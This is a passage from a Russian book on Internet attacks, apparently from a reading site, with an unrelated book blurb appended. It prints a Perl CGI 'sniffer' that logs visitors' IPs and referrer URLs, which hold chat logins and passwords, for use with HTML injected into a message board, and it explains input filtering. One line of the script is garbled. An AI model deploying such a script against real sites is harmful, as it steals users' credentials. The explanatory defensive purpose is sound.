Читаем Атака на Internet полностью

#!/usr/bin/perl

$log = "snifflog.txt";

$now_string = localtime;

@thetime = split(/ +/,$now_string);

@theclock = split(/:/,$thetime[3]);

$ampm = ’am’;

if ($theclock[0] > 11)

{ $ampm = ’pm’; }

if ($theclock[0] == 0)

{ $theclock[0] = 12; }

if ($theclock[0] > 12)

{ $theclock[0] -= 12; }

else

{ $theclock[0] += 0; }

$lnum=$ENV{’QUERY_STRING’};

open (DB, "$log") || die "Can’t Open $log: $!\n";

flock(DB, 2);

@line=;

flock(DB, 8);

close(DB);

$value = $ENV{’HTTP_REFERER’};

$value =~ tr/+/ /;

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$line0="[$thetime[0] $theclock[0]\:$theclock[1]$ampm] (".$lnum.") ".

$ENV{’REMOTE_ADDR’}." ".$ENV{’REMOTE_HOST’}." ".$ENV{’HTTP_X_FORWARDED_FOR’}."

[".$value."]";

$maxline=@line;

$maxline=30 if ($maxline>30);

open (DB, ">$log") || die "Can’t Open $log: $!\n";

flock(DB, 2);

print DB ("$line0\n");

for ($i=0; $i<$maxline; $i++)

{

print DB ("$line[$i]");

}

flock(DB, 8);

close(DB);

print "Location: http://somehost/somepic.gif\n\n";

Затем он установит его на каком-либо сервере, разрешающем запуск cgi-приложений, и добавит на нашу доску код вида (либо просто установит у себя на машине Web-сервер, вставит код и начнет изучать log-файл своего сервера). После чего все зашедшие на эту страницу исправно сообщат sniff.cgi, кто они, откуда и т. д. В частности, поскольку мы выбрали в качестве метода передачи данных GET, HTTP_REFERER будет содержать и имя, и пароль пользователя. Между прочим, очень многие Web-чаты до сих пор имеют этот недостаток. Дальнейшее уже зависит от политики в отношении вставки html-тэгов. Мы можем махнуть рукой и отдать нашу доску на растерзание, можем запретить все тэги, завести список запрещенных или разрешенных тэгов. Выбрав путь фильтрации, важно фильтровать весь пользовательский ввод, не рассчитывая, например, на то, что, если вы сделали в своем чате выпадающий список, позволяющий выбрать цвет, никому не придет в голову передать вместо ожидаемой строки с кодом цвета строчку вида

color"><

Перейти на страницу:

Похожие книги

Сетевые средства Linux
Сетевые средства Linux

В этой книге описаны принципы действия и область применения многих серверов, выполняющихся в системе Linux. Здесь рассматриваются DHCP-сервер, серверы Samba и NFS, серверы печати, NTP-сервер, средства удаленной регистрации и система X Window. He забыты и средства, традиционно используемые для обеспечения работы Internet-служб: серверы DNS, SMTP, HTTP и FTP. Большое внимание уделено вопросам безопасности сети. В данной книге нашли отражения также средства удаленного администрирования — инструменты Linuxconf, Webmin и SWAT.Данная книга несомненно окажется полезной как начинающим, так и опытным системным администраторам.Отзывы о книге Сетевые средства LinuxПоявилась прекрасная книга по Linux, осталось воспользоваться ею. Не упустите свой шанс.Александр Стенцин, Help Net Security. Если вы стремитесь в полной мере использовать сетевые возможности Linux — эта книга для вас. Я настоятельно рекомендую прочитать ее.Майкл Дж. Джордан, Linux OnlineВыхода подобной книги давно ожидали читатели. Менее чем на 700 страницах автор смог изложить суть самых различных вопросов, связанных с работой Linux. Автор является высококвалифицированным специалистом в своей области и щедро делится своими знаниями с читателями.Роджер Бертон, West, DiverseBooks.com

Родерик В. Смит

ОС и Сети, интернет / ОС и Сети / Книги по IT